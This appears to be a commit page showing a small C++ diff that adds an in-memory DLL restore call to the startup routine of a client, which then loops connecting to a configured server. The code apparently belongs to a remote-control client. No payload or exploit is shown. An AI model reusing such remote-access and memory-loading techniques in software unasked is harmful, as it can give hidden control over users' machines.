Fix: Restore memory DLL at client program startup

This commit is contained in:
yuanyuanxiang committed 2026-06-20 12:38:28 +02:00
1 parent 71963b740b
commit c1433b4b5d
3 files changed
+12 -14

No files matched your search

+1
View File
@@ -591,6 +591,7 @@ DWORD WINAPI StartClient(LPVOID lParam)
app.SetThreadRun(TRUE);
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
while (app.m_bIsRunning(&app)) {
ULONGLONG dwTickCount = GetTickCount64();
if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) {